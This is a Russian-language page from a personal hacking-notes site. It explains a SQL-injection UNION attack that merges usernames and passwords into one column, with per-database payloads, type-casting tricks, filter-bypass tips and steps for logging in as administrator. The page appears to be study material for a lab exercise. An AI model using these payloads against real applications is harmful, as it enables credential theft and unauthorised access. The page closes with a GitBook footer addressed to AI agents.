> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/sql-injection/union-attack-to-extract-multiple-values-in-one-column.md).

# UNION-атака для извлечения нескольких значений из одного столбца

### SQL-инъекция UNION-атака, извлечение нескольких значений в одном столбце

**Цель:** восстановить `username` и `пароль` объединены в один столбец, а затем аутентифицироваться в `administrator`.

#### (1) Краткие предварительные требования

* Знать **количество столбцов** возвращаемых запросом (см. `ORDER BY` / `UNION NULL` тесты).
* Определите, какие выходные столбцы возвращаются в ответе (видимые константы).

#### 2) Примеры полезных нагрузок (в зависимости от СУБД)

> Подстройте количество столбцов (`NULL`/констант), чтобы оно соответствовало уязвимому запросу.

* **Oracle / PostgreSQL (конкатенация через `||`) — типичный запрос с 2 столбцами:**

```sql
' UNION SELECT NULL, username||':'||password FROM users-- -
```

* **MySQL (CONCAT) — 2 столбца:**

```sql
' UNION SELECT NULL, CONCAT(username, ':', password) FROM users-- -
```

* **MSSQL (CONCAT или +) — 2 столбца:**

```sql
' UNION SELECT NULL, CONCAT(username, ':', password) FROM users-- -
```

или

```sql
' UNION SELECT NULL, username + ':' + password FROM users-- -
```

* **Если исходный запрос имеет 3 столбца (например):**

{% code overflow="wrap" %}

```sql
' UNION SELECT NULL, NULL, username||':'||password FROM users-- -    -- Oracle/Postgres
```

{% endcode %}

* **Если типы несовместимы** (ошибка UNION): принудите преобразование/приведение типа:
  * PostgreSQL: `username::text`
  * MySQL: `CAST(username AS CHAR)`
  * Oracle: `TO_CHAR(username)`

#### 3) Краткая процедура

1. Определите `N` столбцов (`ORDER BY 1..N`).
2. Подтвердите `UNION SELECT` на `NULL`/константы.
3. Внедрите полезную нагрузку с конкатенацией, адаптированную к СУБД и количеству столбцов.
4. Найдите `username:password` строки в ответе.
5. Определите `administrator:...` запись и используйте эти учетные данные для входа на страницу аутентификации.

#### 4) Практические примечания

* Если пароли хешированы (например, bcrypt), прямое использование для входа не сработает; тогда вам нужно будет подобрать пароль, если это разрешено, или подтвердить, что пароли хранятся в открытом виде (высокий уровень инцидента безопасности).
* Если приложение отображает только один столбец, конкатенация — правильный подход; если оно рендерит несколько столбцов, предпочитайте `UNION SELECT username, password` для ясности.
* Если `UNION` если фильтруется, попробуйте варианты с пробелами/комментариями или функции (`CONCAT`, `CHR`/`CHAR`) чтобы обойти фильтры.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/sql-injection/union-attack-to-extract-multiple-values-in-one-column.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
